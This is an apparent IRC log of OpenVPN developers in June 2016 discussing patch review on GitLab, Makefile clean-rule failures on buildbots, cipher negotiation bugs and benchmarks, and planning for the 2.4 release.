gui tools to comment on text files, but maybe there is a useful way to add comments to patch lines there) 10:13 <@cron2> next week my schedule says "at home tuesday / thursday" (june 7, june 9) - so if your schedule permits...? 10:13 <@cron2> (won't be working on openvpn all day, but have some appointments that make working in the office impractical) 10:13 <@dazo> if create an account, you'll be able to comment directly on each line in the patch individually 10:14 <@cron2> still too much mouse interaction for my taste, but sounds halfway doable 10:15 <@dazo> I can send them to the ML ... but this patch ping-pong takes time too :) 10:16 <@dazo> what time fits best for you tue/thu next week? 10:16 <@dazo> (this week has been odd, as $wife had to prepare to an exam she had this morning ... so I've been babysitting $kid until 14-15) 10:17 <@cron2> if it sits in my mailbox, it's an ansynchronous work item on the TODO list :-) - if it's elsewhere, it's either synchronous (which is not really working out as we saw), or a non-item... - around noonish (11-13 MEDT) should work out best 10:19 <@dazo> MEDT? You mean CEST/UTC+2 ? 10:31 <@cron2> yes 10:31 <@cron2> so, how does this "account on gitlab" thing work? 10:32 <@dazo> cron2: https://gitlab.com/users/sign_in 10:32 <@vpnHelper> Title: Sign in · GitLab (at gitlab.com) 10:32 <@dazo> You can link it to your google or github account, if I'm not mistaken 10:32 <@cron2> ok, it accepts g+ credentials 10:33 <@cron2> gdoering@gmail.com is it 10:33 <@cron2> so do you need to give me access rights, or can I comment just ahead? 10:33 <@dazo> good question :) 10:34 <@dazo> (connection suddenly got slow in the office) 10:35 <@dazo> Try to go here: https://gitlab.com/dazo/openvpn/commit/1fffc13b3c2d95693c07c1e8b402fca5acca0da9 10:35 <@vpnHelper> Title: Rework the user input interface to make it more modular (1fffc13b) · Commits · David Sommerseth / openvpn · GitLab (at gitlab.com) 10:35 <@dazo> When you hover a line, it should give you a "comment bubble" 10:35 <@dazo> and you click that bubble :) 10:38 <@cron2> whee, my watch tells me I should go to gitlab 10:38 <@dazo> hehe 10:38 <@cron2> mails to g+ address are sent as notifications to watch (= I do not use that account for the normal daily 500+ mail volume) 10:39 <@cron2> it does 10:39 <@cron2> the layout is nice for people with wide 27" monitors, but wraps lines here... meh. 10:39 <@dazo> Good to know! I'll save your gmail address when I'll need your attention then! 10:41 <@dazo> I got a 1920x1080 on 14" laptop monitor ... looks reasonable here though, not even maximized the window 10:42 <@dazo> you can also collapse the menu on the left side, by clicking on the '<' mark 12:22 <@cron2> dazo: v2 looks better. Now I'm just wondering where the "rm" failures are coming from on the buildbots (also non-quoted directories) 12:33 <@dazo> yeah, that's confusing me as well 12:35 <@dazo> hmmmm 12:36 <@dazo> from the generated Makefile: 12:36 <@dazo> cmockabuild = $(abs_top_builddir)/vendor/.build/cmocka 12:36 <@dazo> ... 12:36 <@dazo> MAINTAINERCLEANFILES = \ 12:36 <@dazo> $(srcdir)/Makefile.in \ 12:36 <@dazo> $(cmockabuild) \ 12:36 <@dazo> ... 12:36 <@dazo> maintainer-clean-generic: 12:36 <@dazo> @echo "This command is intended for maintainers to use" 12:36 <@dazo> @echo "it deletes files that may require special tools to rebuild." 12:36 <@dazo> -test -z "$(MAINTAINERCLEANFILES)" || rm -f $(MAINTAINERCLEANFILES) 12:37 <@dazo> so if $(abs_top_builddir) contains white spaces ... it goes into MAINTAINERCLEANFILES ... and then hits the rm -f $(MAINTAINERCLEANFILES) 12:49 <@dazo> cron2: I'll send a v3 which should fix the 'rm' issues too 12:54 <@dazo> meh, forgot to update the subject line :/ 12:55 <@dazo> (commit msg is updated though) 13:13 <@cron2> whee! 13:13 <@cron2> oh, yeah, these ones 13:13 <@cron2> +cmockainstall = "@VENDOR_DIST_ROOT@" 13:13 <@cron2> could be the bits that cause "mkdir /vendor" 13:16 <@cron2> https://www.gnu.org/software/automake/manual/html_node/List-of-Automake-options.html 13:16 <@vpnHelper> Title: automake: List of Automake options (at www.gnu.org) 13:16 <@cron2> is not particularily clear on what "foreign" is supposed to do... 13:30 <@dazo> yeah, and since we only use it in one of the Makefile.am files, I thought we didn't really need it with such a vague description 13:35 <@vpnHelper> RSS Update - gitrepo: Another fix related to unit test framework <https://github.com/OpenVPN/openvpn/commit/41ab12f06253cadc34fc47da865178de3db0bbdc> 13:36 <@dazo> lets see how buildslaves behaves now :) 13:36 <@cron2> yeah 13:51 -!- Irssi: #openvpn-devel: Total of 27 nicks [8 ops, 0 halfops, 0 voices, 19 normal] 13:51 <@ecrist> we have a lot of users in the main channel 13:51 <@ecrist> not as big as some OS projects, but a decent number, regardless 14:01 <@dazo> absolutely! 14:02 <@dazo> cron2: looking promising ... several of those who failed lately are now green 14:19 <@dazo> 12 builds left to go, all others green 14:29 <@dazo> 2 builds left, 2 building, all other green .... that means I'll call it a week :) 15:23 <@cron2> dazo: cool. 16:56 -!- s7r_ is now known as s7r --- Day changed Sun Jun 05 2016 03:22 <@cron2> dazo: if you happen to look here - release/2.3 is still broken wrt cmocka - and from the feedback on the list, we should revert the patches. What do you think? 05:52 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:56 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 260 seconds] 05:56 -!- esde [~something@openvpn/user/esde] has quit [Ping timeout: 260 seconds] 06:01 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 10:39 <@vpnHelper> RSS Update - gitrepo: Fix the comparison of pull options hash on restart <https://github.com/OpenVPN/openvpn/commit/1899393543caa3cd5191c96176e8ecaa8e690eeb> 12:20 -!- s7r_ is now known as s7r 12:27 <@vpnHelper> RSS Update - gitrepo: Make block-outside-dns work with persist-tun <https://github.com/OpenVPN/openvpn/commit/451d2177d762e93677cad52bb2360a8dfb389ac7> || Set WFP engine handle to NULL in win_wfp_uninit() <https://github.com/OpenVPN/openvpn/commit/895d75cf99bf8f3b95b01d6e19df30208cec27a9> 14:00 <@vpnHelper> RSS Update - tickets: #687: SIGTERM (soft) lost if followed by a SIGUSR1/SIGHUP restart during the exit-notify wait <https://community.openvpn.net/openvpn/ticket/687> --- Day changed Mon Jun 06 2016 06:01 <@cron2> syzzer: shall we try to set up a sprint next monday to help with the remaining cipher negotiation bits? I gather it is "just" buffer allocation...? 06:17 <@syzzer> cron2: yes, that would be nice 06:17 <@syzzer> I'll spend some hours on it this week 06:17 <@cron2> mattock: you're listening? ;-) 06:17 <@syzzer> let's see how far I get 08:47 <@mattock> next monday sounds good --- Day changed Tue Jun 07 2016 02:10 <@cron2> plaisthos: if you have time, could you have a look at http://article.gmane.org/gmane.network.openvpn.devel/11814 02:10 <@vpnHelper> Title: Gmane -- PATCH 1 1 Ignore SIGUSR1 SIGHUP during exit notification (at article.gmane.org) 03:15 <@vpnHelper> RSS Update - tickets: #688: Error on FreeBSD: route: writing to routing socket: File exists <https://community.openvpn.net/openvpn/ticket/688> 09:16 <@cron2> 688 is full of fun... 09:32 <@plaisthos> :) 09:33 <@plaisthos> cron2: I skimmed it 09:33 <@plaisthos> As seem like "IT IS A BUG IN OPENVPN" 09:33 <@plaisthos> and serveral queries then it turns out that the user was doing something fishy 09:42 <@cron2> he had a config that had a host route for the vpn_gateway, and complained that the same route was also installed by --redirect-gateway def1, and that must be a BUG! ERROR! 16:10 <@syzzer> Tue Jun 7 22:56:34 2016 OPTIONS IMPORT: data channel crypto options modified 16:10 <@syzzer> Tue Jun 7 22:56:34 2016 init_key_type: ciphername=AES-256-GCM, authname=SHA1 16:10 <@syzzer> this is starting to look like it :) 16:11 <@cron2> whee! 16:11 <@syzzer> client-side only for now, but it's a start 16:11 <@vpnHelper> RSS Update - gitrepo: Ignore SIGUSR1/SIGHUP during exit notification <https://github.com/OpenVPN/openvpn/commit/63b3e000c9141f4ca03a374354da26334257bc18> || Add an option to filter options received from server <https://github.com/OpenVPN/openvpn/commit/7f74c27e105a365d278181d00708c55a299398a0> 16:13 * cron2 needs to go to bed, already very late here (wakeup at 6:30) 16:14 <@cron2> but I'm happy with today's achievements anyway :-) (and Selva is definitely the over-committer for the last month) 16:14 <@cron2> https://github.com/OpenVPN/openvpn/pulse/monthly 16:14 <@vpnHelper> Title: Pulse · OpenVPN/openvpn · GitHub (at github.com) 16:14 <@syzzer> yeah, you two have been doing a lot of work 16:15 <@cron2> he's doing all the great stuff, I'm very impressed (and really *really* likes looking into the dark corners where no man [except James] has gone before...) 16:15 <@cron2> anyway - good night :) 16:15 <@syzzer> good night :) --- Day changed Wed Jun 08 2016 03:56 <@syzzer> Wed Jun 8 10:51:38 2016 Test-Client-EC/10.1.1.2:60269 Data Channel Encrypt: Cipher 'AES-256-GCM' initialized with 256 bit key 03:56 <@syzzer> ... 03:56 <@syzzer> Wed Jun 8 10:51:57 2016 Test-Client-Extra/10.1.1.3:40387 Data Channel Encrypt: Cipher 'BF-CBC' initialized with 128 bit key 03:56 <@syzzer> \o/ 03:56 <@plaisthos> Probably the first time that you are happy about bf-cbc being used ;) 03:57 <@syzzer> haha, indeed 07:25 <@syzzer> there we go - cipher negotiation ready for testing and review 07:26 <@syzzer> it's amazing how much more efficient it is to have a number of consecutive hours of focus 07:26 <@cron2> monday next week happened suprisingly early :-) 07:28 <@syzzer> yeah, well, I wouldn't be surprised of this needs a v2, v3, etc, but let's get some opinions first 07:34 <@plaisthos> syzzer: :) 07:34 <@cron2> 2/5 looks simple enough :) 07:34 <@syzzer> cron2: yeah, that should work :p 07:39 <@plaisthos> just looking at the patches 07:41 <@plaisthos> Applying: cleanup: remove alloc_buffers argument from multi_top_init() 07:41 <@plaisthos> error: src/openvpn/mtcp.c: does not exist in index 07:41 <@plaisthos> error: src/openvpn/mudp.c: does not exist in index 07:42 <@plaisthos> my git is stoned?! 07:42 <@plaisthos> oh wrong repo, nevermind 07:42 <@syzzer> :') 07:49 * syzzer suddenly thinks about Changes.rst, and openvpn.8... 07:49 <@syzzer> oh well 07:59 <@plaisthos> the crypto negoiation patch is smaller than I expected 08:01 <@syzzer> yes, in the end the patch is not even that complicated 08:01 <@syzzer> it took me a few iterations to find the right way to tackle it in the current codebase 08:02 <@syzzer> at some point I had already implemented connection-specific buffers, but decided to just drop all that 08:04 <@plaisthos> syzzer: any reason to have AES-256-GCM to be preferred over AES-128-GCM which is should almost as safe but much faster? 08:05 <@syzzer> plaisthos: not really, just thought if we're choosing new ciphers, let's pick those that are safe for the foreseeable future 08:06 <@syzzer> AES-128-GCM should be fine, the only potential risk is quantum computers, afaik 08:06 <@cron2> meh, I get called to a meeting, plaisthos ACKs all the stuff 08:06 <@plaisthos> syzzer: just wondering imo. 08:06 <@plaisthos> cron2: only the easy ones so far 08:06 <@plaisthos> all but 3/5 are easy compared to 3/5 08:07 <@cron2> plaisthos: 1/ and 2/ are the ones I had seen so far, and was ready to apply (tonight) :-) 08:07 <@cron2> syzzer: 4/5 - can this lead to "full cipher negotiation" eventually? 08:08 <@syzzer> yes, the implementation is actually preparing for that 08:08 <@cron2> cool :-) (otherwise I might have pointed towards --pull-filter) 08:09 <@cron2> why is "auth" not OPT_P_NCP? 08:09 <@syzzer> because James did not specify that as an option for IV_NCP=2 08:10 <@syzzer> it works just fine, btw, I just disabled it to stick to the spec 08:10 <@cron2> ah 08:11 <@cron2> btw 08:11 <@cron2> + c->sig->signal_received = SIGUSR1; /* connection reset */ 08:11 <@cron2> + c->sig->signal_text = "open-tuntap-failed"; 08:12 <@cron2> selva uses throw_signal_soft( SIGUSR1, "open-tuntap-failed" ); instead... 08:12 <@syzzer> ok, nice, will do that too 08:12 <@cron2> I'm not sure if that works in all places, given that throw_signal_*() only sets the global variable, which is later collected into c->sig in the master event loop 08:14 <@syzzer> oh, and my buildbot says I broke --disable-crypto 08:14 <@cron2> haha :) 08:14 <@cron2> on first glance, 4/5 looks good otherwise 08:15 <@syzzer> thros_signal_soft() works just fine :) 08:15 <@cron2> uh 08:15 <@cron2> is 5/5 reverting the c->sig->signal_received = SIGUSR1 change from 4/5? 08:15 <@cron2> ah, no, it's just moving to "error:" 08:16 <@syzzer> indeed - since there were now two places that needed this 08:16 <@plaisthos> 3/5 looks sane on first quick glance but that is not enough for acking it ;) 08:17 <@plaisthos> apart from + msg (M_WARN, "*** Account for max crypto overhead ***"); 08:17 <@plaisthos> that message is going to confuse users 08:17 <@cron2> regarding 5/5: can ncp-ciphers be set from ccd/ ? and if yes, where is the server cipher set? 08:18 <@cron2> so, I have a server that has "cipher bf-cbc" in its config, and one client is supposed to use 3DES - what do I put in that client's ccd/ file? 08:19 <@syzzer> "cipher broken" and "push cipher broken' 08:20 <@syzzer> since that is static for that client 08:20 <@cron2> so how would that interact with the client advertising IV_NCP=2, then? 08:21 <@syzzer> there is no real difference between 'IV_NCP=2' and 'push "cipher AES-x-GCM'' 08:22 <@syzzer> so as long as the cipher you're pushing is either in the client's 'cipher' or 'ncp-ciphers', it will accept it 08:22 <@syzzer> for non-IV_NCP clients you just put 'cipher old-and-broken' in the ccd 08:22 <@cron2> there is... in that example, I think the client will end up seeing "cipher broken" (from ccd/) and "cipher AES-x-GCM" in the same message 08:23 <@cron2> (assuming all clients will advertise IV_NCP=2 at some point) 08:23 <@syzzer> hm, you're right 08:23 <@syzzer> it should be accompanied by ncp-disable in the ccd 08:23 <@cron2> and *then* I wonder how the server knows which cipher has been advertised to the client - what if the server is set to "cipher AES-128-GCM" and ncp-pushes AES-256-GCM to the client? 08:23 <@syzzer> though I must admit that I did not test this - so not 100% sure it works 08:24 <@cron2> so I think 5/5 has a few caveats that need a destructive mind to explore :-) 08:24 <@syzzer> because o->ciphername is update when the cipher is pushed too 08:24 <@cron2> oh 08:24 <@cron2> right 08:25 <@syzzer> so that should work 08:25 <@cron2> it is staring at me, but I only saw "push_option_fmt(... o->ciphername)" :-) 08:25 <@cron2> cool 08:25 <@syzzer> but yes, destructive minds is what we need! 08:25 <@cron2> so only the interaction between "cipher broken" in ccd/ and IV_NCP=2 needs to be understood 08:25 <@cron2> (and documented) 08:26 <@syzzer> yes 08:26 <@syzzer> well, and it needs to be tested ofc ;) 08:30 <@cron2> 1/5 should go into 2.3 as well, right? 08:31 <@plaisthos> Jun 8 15:34:59 hermes ovpn-hd[12433]: 131.234.64.92:33439 Data Channel Encrypt: Cipher 'BF-CBC' initialized with 128 bit key 08:31 <@plaisthos> hm 08:32 <@syzzer> cron2: yes - should fix some broken setups as a side-effect 08:32 <@syzzer> plaisthos: ovpn3 won't push ciphers unless you claim to also support IV_TCPNL 08:36 <@plaisthos> syzzer: I have to rejct your patches 08:36 <@plaisthos> I don't why yet 08:36 <@plaisthos> Jun 8 15:39:59 hermes ovpn-hd[21113]: android/131.234.64.92:33442 Data Channel Encrypt: Cipher 'AES-256-GCM' initialized with 256 bit key 08:36 <@plaisthos> Jun 8 15:39:59 hermes ovpn-hd[21113]: android/131.234.64.92:33442 Data Channel Decrypt: Cipher 'AES-256-GCM' initialized with 256 bit key 08:36 <@plaisthos> Jun 8 15:39:59 hermes ovpn-hd[21113]: android/131.234.64.92:33442 Assertion failed at lzo.c:152 (buf_safe (&work, ps + COMP_EXTRA_BUFFER (ps))) 08:37 <@plaisthos> that is using comp-lzo 08:37 <@syzzer> hm, interesting 08:37 <@plaisthos> and tcp 08:38 <@syzzer> I might know why this is happening 08:38 <@cron2> bäm :) 08:38 <@cron2> is that compression v1, mayhaps? 08:38 <@plaisthos> yes sure 08:39 <@plaisthos> I need to use a config that is also 2.3 compatible since my master ocnfigs all have aes-gcm-128 in them anyway 08:39 * cron2 withdraws the question, comp v1 and packet format v2 are different things 08:40 <@plaisthos> syzzer: if you need information just ask, that is the server side btw. 08:41 <@syzzer> plaisthos: ok - I'll dive in first to see if I can reproduce 08:42 <@plaisthos> We should also do some automatic comp v2 stuff in 2.4 08:42 <@plaisthos> it is basically then the only new cool feature that is currently not autonegioted (without using scripts) 08:43 <@plaisthos> data v2 and cipher are automatically working 08:45 <@syzzer> hrmpf, more pain: Assertion failed at ../.././../openvpn/src/openvpn/socket.c:2988 (len <= sock->stream_buf.maxlen) 08:45 <@plaisthos> seem you reproduce at least something :) 08:47 <@plaisthos> but my aes-128-gcm connection profile now get renogiated to aes-256-gcm 08:47 <@cron2> think of the battery life! 08:51 <@plaisthos> lets check .... 08:52 <@plaisthos> ~570 MB/s for AES-128-GCM 08:53 <@plaisthos> and 497 MB/s for AES-256-GCM 08:53 <@syzzer> ah, wow, entire set of buffer magic I missed in the TCP code 08:53 <@cron2> wheeee... 08:54 <@plaisthos> and my pc gets 1152 MB/s and 952 MB/s 08:55 <@plaisthos> so my phone is twice as slow! 08:55 <@plaisthos> (to sum up the crypto overhead isn't going to be the problem here) 08:56 <@plaisthos> for comparision bf-cbc is 48 MB/s (phone) and 100 MB/s (pc) 08:57 <@cron2> wow 09:03 <@plaisthos> on an old P4 without AES accleration it is: 109 MB/s for bf-cbc, 39 MB/s for 128-gcm and 30 MB/s for aes-256-gcm 09:23 <@syzzer> ok, too many places where 'exactly right sized' buffers are allocated 09:23 <@syzzer> I think I'll move back to what I had a few iterations back: just always allocate for worst-case crypto overhead 09:24 <@syzzer> the link-mtu that is reported in occ doesn't make sense anyway - since it will change after crypto options are negotiated 09:24 <@plaisthos> but all that extra 100 bytes of wasted memory *ducks* 09:25 <@syzzer> yeah, I don't care about that, but older peers will complain that the link-mtu isn't right 09:28 <@cron2> this will be an interesting one to solve 09:30 <@syzzer> cron2: as far as I can tell this is only a problem for peers that use 'strict occ checking' 09:32 <@plaisthos> and confused users 09:32 <@plaisthos> 2.4 is working right! 09:32 <@plaisthos> +not 09:32 <@plaisthos> look at these warnings! 09:34 <@syzzer> plaisthos: yes - let's see if I can make 2.4 lie^H^H^H say what 2.3 wants 09:45 * cron2 sees himself look at patches related to link-mtu in 2.6 and wonder why all the tons of lies^wworkarounds in that code came to eb 09:45 <@cron2> to be 09:47 <@syzzer> cron2: you know me, I'll add some comment to complain why I have to lie ;) 09:59 <@syzzer> there we go, exactly the right lies! 10:13 <@cron2> syzzer: what is "worst case overhad"? PROTO_V1 + BF-CBC? 10:14 <@syzzer> no, when we allocate buffers, we don't know yet what cipher we're going to use 10:14 <@cron2> understood, I just wonder which combinations will actually have the highest overhead 10:14 <@syzzer> the sizes for the various buffer are allocated based on struct frame 10:15 <@syzzer> PROTO_V1 + AES-268-CBC + SHA512, I think 10:15 <@syzzer> *V2 10:15 <@syzzer> currently, at least 10:15 <@cron2> why has AES more overhead than BF? 10:15 <@syzzer> AES-CBC has 128-bit IV, BF-CBC a 64 10:16 <@syzzer> same for block size 10:16 <@cron2> ah, that 10:16 <@cron2> darn... I thought our overhead would be "no worse than the old stuff", so we could just lie and enjoy the extra bytes later on 10:19 <@syzzer> nope, unfortunately 12:16 <@cron2> syzzer: I'm more and more amazed at what I learned yesterday and today about signals :) 12:34 <@d12fk> cron2: they were made this way to amaze ppl =) 12:35 <@d12fk> or scare away depnding on your heroicity =) 12:35 <@d12fk> i know that's not a word, but it should be 12:49 <@cron2> d12fk: if we're talking about "scare away", how's your multi-listen stuff coming along? 13:16 <@cron2> All 3 tests passed 13:43 <@vpnHelper> RSS Update - gitrepo: cleanup: remove alloc_buffers argument from multi_top_init() <https://github.com/OpenVPN/openvpn/commit/d92718141287a0f9adcffec5c2fa7d76213162cc> || Don't limit max incoming message size based on c2->frame <https://github.com/OpenVPN/openvpn/commit/3c1b19e04745177185decd14da82c71458442b82> 13:43 <@syzzer> new patches on the list 13:44 <@syzzer> so, what's the next corner case where you can break it? ;) 13:44 <@cron2> yeah, totally messed up my threaded view where I was about to save 1/5+2/5 + ACK + applied :-) 13:46 <@cron2> but with 4/5 v2 we also need 5/5 v2 with register_signal() 13:47 <@cron2> oh, there it is 13:47 <@cron2> full new 3..5 v2 13:47 <@syzzer> yep :) 13:49 * cron2 is too tired to review 3/5 v2 tonight 13:58 <@cron2> so 13:58 <@cron2> my own pending-for-2.4 patch is on the list as well \o/ 14:04 <@cron2> (totally boring) 14:06 <@syzzer> heh, yeah, my brains are running low too 14:06 <@syzzer> how should we review this lz4 patch? actually stare at the code or just compare against upstream and believe they did their job? 14:07 <@syzzer> oh, you actually said it on the commit msg, nvm :') 15:22 <@vpnHelper> RSS Update - tickets: #689: Connected client blocks after Windows 10 opens new connection <https://community.openvpn.net/openvpn/ticket/689> 15:30 <@cron2> syzzer: right :-) --- Day changed Thu Jun 09 2016 01:49 <@cron2> mattock: good morning :-) 01:51 <@mattock> good morning 01:54 <@cron2> we're nearing 2.4 :-) - and the only work item not started yet is "openvpnserv2"... *poke* :-) 01:54 * cron2 is very excited, in case nobody noticed ;-) 01:55 <@mattock> I'm working on that 01:55 <@mattock> https://github.com/xkjyeah/openvpnserv2/issues/4 01:55 <@vpnHelper> Title: Adding service installation/registration · Issue #4 · xkjyeah/openvpnserv2 · GitHub (at github.com) 01:55 <@cron2> cool :) 01:56 <@syzzer> wow, things are looking good :D 01:56 <@mattock> yep 01:57 <@mattock> if xkjyeah (openvpnserv2 author) seems to unresponsive, I can hack together the "register openvpnserv2 as a service" myself 01:57 <@mattock> I'd rather not, because I'm not that used to C# 01:58 <@mattock> but the steps seems very standardized and fairly well documented 02:02 <@mattock> while waiting I'll modify openvpn-build to include openvpnserv2 in the installers 02:02 <@cron2> how is openvpnserv2 doing this today, if it can't register as a service? 02:02 * cron2 is a bit confused 02:03 <@mattock> it's called openvpnserv.exe right now 02:03 <@mattock> so the original registration done by the original openvpnserv.exe is enough to make it work 02:03 <@mattock> once you replace the binary 02:04 <@mattock> windows is basically fooled to thinking it runs the original openvpnserv.exe 02:04 <@mattock> or rather, windows does not care, as long as the path is the same 02:10 <@cron2> ah. Works for testing, but not good enough for "real release" 02:14 <@mattock> yep 03:27 <@d12fk> cron2: i've successfully been scared away =) we push it from sprint to sprint currently, there's always other more important stuff to do. we released a half solution for tcp only, but for you guys it's not good enough 04:03 <@mattock> ok, openvpnserv2 is now installed alongside openvpnserv 04:03 <@mattock> need to issue a PR to openvpn-build though 04:29 <@mattock> https://github.com/OpenVPN/openvpn-build/pull/20 04:29 <@vpnHelper> Title: Add installation of openvpnserv2.exe to Windows installers by mattock · Pull Request #20 · OpenVPN/openvpn-build · GitHub (at github.com) 06:45 <@cron2> ah, dang 06:45 <@cron2> my compat-lz4 refresh patch is totally bogus 06:46 <@cron2> it's missing the #ifdef NEED_COMPAT_LZ4 part to be only compiled in if needed 06:52 <@cron2> (not exactly "totally", but if we want to have it as *optional* part in compat/, it should better be) 08:03 <@vpnHelper> RSS Update - gitrepo: Upgrade bundled compat-lz4 to upstream release r131. <https://github.com/OpenVPN/openvpn/commit/46e4b6639a950c56a08261b6610e7fe17404213d> 09:03 <@vpnHelper> RSS Update - gitrepo: Change --enable-pedantic to use -std=c99 and not -ansi (C90). <https://github.com/OpenVPN/openvpn/commit/d16072cf17ce8debcf796565841a54f1253a9923> 09:43 <@cron2> well, this thing with "we accept PR, send the patch to the list, and then close the PR" is working totally great 09:43 <@cron2> as in 09:43 <@cron2> "not" 09:43 <@cron2> "send the patch to the list" mostly works, except if it is never sent... 09:43 <@cron2> ... and "close PR" sort of "not happens" 09:58 <@ecrist> cron2: do I need to update the freebsd -devel port any time soon? 10:04 <@syzzer> ecrist: give it a few days and we might have cipher negotiation in, that would be a good moment to update the port :) 10:04 <@ecrist> that's the sort of info I was angling for. :) 10:04 <@syzzer> (if the reviewers don't find my code utter bs ;) ) 10:47 <@vpnHelper> RSS Update - tickets: #690: dfgfhd <https://community.openvpn.net/openvpn/ticket/690> --- Day changed Fri Jun 10 2016 01:29 <@mattock> the openvpnserv2 guy will look into the service registration thing: https://github.com/xkjyeah/openvpnserv2/issues/4 01:29 <@vpnHelper> Title: Adding service installation/registration · Issue #4 · xkjyeah/openvpnserv2 · GitHub (at github.com) 01:46 <@cron2> cool 02:58 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 03:03 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 03:03 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 03:10 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:42 <@syzzer> quit 11:54 <@cron2> bye! 13:36 <@cron2> syzzer: are you still there? have a question about the PUSH_MSG_REQUEST block in 5/5 13:41 <@cron2> and about 4/5 in p2p mode... 13:42 <@cron2> + /* process (potenitally pushed) crypto options */ 13:42 <@cron2> interesting word --- Day changed Sat Jun 11 2016 06:38 <@vpnHelper> RSS Update - gitrepo: Complete push-peer-info documentation and allow IV_PLAT_VER for other platforms than Windows if the client UI supplies it. <https://github.com/OpenVPN/openvpn/commit/960524a9af899c83dbf2de255e063b7c66536d3e> 06:54 <@cron2> syzzer: btw, we have MIN()/MAX() functions already, they are called min_int() and max_int() and are inline functions in "integer.h"... 06:55 <@cron2> (just found them reading through Arne's timeout patch) 07:14 <@d12fk> cron2: "When using --tun-ipv6, if you have more than one TAP-Windows adapter, you must also specify --dev-node" 07:14 <@d12fk> why is that? 07:16 <@cron2> d12fk: I think that comment predates my involvement... (read: I have no idea). --tun-ipv6 initially came from someone else, I just extended the option and the initial stubs 07:17 <@cron2> with current code it should not be necessary - everything refers to dev name (which has to be unique of course) or to interface index (vista+), so as long as the IPv4 code is fine, the IPv6 code is fine as well... 07:17 <@cron2> but I've never felt the pressing need to have more than one tap adapter on windows... so can't say for sure 07:17 <@cron2> (be back in a minute, have to drive around kids a bit) 07:18 <@d12fk> so, it should work you say? i'll be trying then. 08:41 <@cron2> re - d12fk: "it should work", yes 12:44 <@cron2> plaisthos: are you here? 13:19 <@vpnHelper> RSS Update - gitrepo: Remove http-proxy-timeout, socks timeout and set default of server-poll-timeout to 120s <https://github.com/OpenVPN/openvpn/commit/f2134b7bea37df15756c599b94f16d4bffafbbd6> --- Day changed Sun Jun 12 2016 10:15 <@plaisthos> cron2: yes 10:15 <@plaisthos> cron2: you mentioned chagnes in Changes.rst 10:15 <@plaisthos> but there are none in the commit 12:32 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 12:32 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 12:35 <@cron2> plaisthos: my tree has some... (though actually that change might have been bogus since you added the timeout thing to the initial Changes.rst...) 12:35 <@cron2> index 1ac3c2b..ab322e2 100644 12:35 <@cron2> --- a/Changes.rst 12:35 <@cron2> +- --http-proxy-timeout and the static non-changeable socks timeout (5s) 12:35 <@cron2> + have been folded into a "unified" --connect-timeout which covers all 12:35 <@cron2> ... 16:24 <@plaisthos> cron2: Yeah, I think my initial Changes.rst was "What do I remember what is new in 2.4" 16:24 <@plaisthos> And I expected the timeout patch in there 22:33 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 258 seconds] 22:37 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:37 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Mon Jun 13 2016 02:21 <@cron2> mornin' 02:22 <@cron2> mattock: meeting today - sprint review of syzzer's patch. It would be great if James could attend... this is deeply hairy stuff... 02:24 <@mattock> which patch exactly? I could link it to james before the meeting 02:24 <@mattock> and good morning :) 02:25 <@cron2> http://article.gmane.org/gmane.network.openvpn.devel/11869 02:25 <@vpnHelper> Title: Gmane -- PATCHv2 3 5 Add client side support for cipher negotiation (at article.gmane.org) 02:26 <@cron2> http://article.gmane.org/gmane.network.openvpn.devel/11872 02:26 <@vpnHelper> Title: Gmane -- PATCHv2 4 5 Add options to restrict cipher negotiation (at article.gmane.org) 02:26 <@cron2> http://article.gmane.org/gmane.network.openvpn.devel/11873 02:26 <@vpnHelper> Title: Gmane -- PATCHv2 5 5 Add server side support for cipher negotiation (at article.gmane.org) 02:27 <@cron2> 4/5 and 5/5 look reasonable to me, but could use closer review. 3/5 is the complicated stuff that needs deeper understanding of key negotiation and all that 02:28 <@cron2> if this is done, we need to review dazo's user/pass<->systemd work, and then we're ready to go for 2.4_alpha 02:42 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2016-06-13 02:42 <@vpnHelper> Title: Topics-2016-06-13 – OpenVPN Community (at community.openvpn.net) 02:43 <@mattock> do you have links to dazo's patches nearby? 02:45 <@mattock> updated https://community.openvpn.net/openvpn/wiki/StatusOfOpenvpn24 02:45 <@vpnHelper> Title: StatusOfOpenvpn24 – OpenVPN Community (at community.openvpn.net) 02:45 <@mattock> ah, so dazo is doing a v4 atm 02:50 <@cron2> the patch is not yet on the list, he wants to receive feedback first - it's on gitlab: https://gitlab.com/dazo/openvpn/commits/dev/query-user-v4 02:50 <@vpnHelper> Title: Commits · dev/query-user-v4 · David Sommerseth / openvpn · GitLab (at gitlab.com) 02:59 <@mattock> ok, I'll add that to the topic list 03:01 <@mattock> done 03:10 <@mattock> notified James separately 03:11 <@cron2> I'm not sure there will be much to say about Helsinki - mailed Lev__ last week, he said he's travelling, will be back this week, and then update the wiki page etc. 03:11 <@mattock> ok, I'll remove that from the topic list 03:12 <@mattock> done 03:12 <@cron2> and I'd also remove the VLAN patchset - if we're done with the other 4, I assume we're spent for the day. This is tough stuff 03:12 <@cron2> (and the VLAN patchset is large and complicated) 03:17 <@mattock> well, the author typically wants me to add it back in, if I remove it 03:17 <@mattock> I will put it into a separate section ("if time permits") 03:19 <@cron2> agree 03:19 <@cron2> "if time permits" I have some 100ish trac tickets :-), some PRs, and more stuff lingering on the list... 03:19 <@mattock> yeah, I know :D 03:20 <@mattock> well just do as much as time permits, no more 03:21 * cron2 is actually still total excited on the progress time permitted :) in recent weeks 03:23 <@mattock> yeah 03:23 <@mattock> I just hope xkjyeah has time to deliver the service registration for openvpnserv2 - then we're golden for 2.4 from my end 03:23 <@mattock> just a minor change to openvpn.nsi 03:27 <@mattock> -> lunch 12:01 <@syzzer> cron2: I fixed the typo you mentioned, and switched to using max_int() 12:01 <@syzzer> but I'll wait with sending a v3, pending more comments tonight 12:02 <@cron2> syzzer: makes sense. Two questions upfront, if you have a 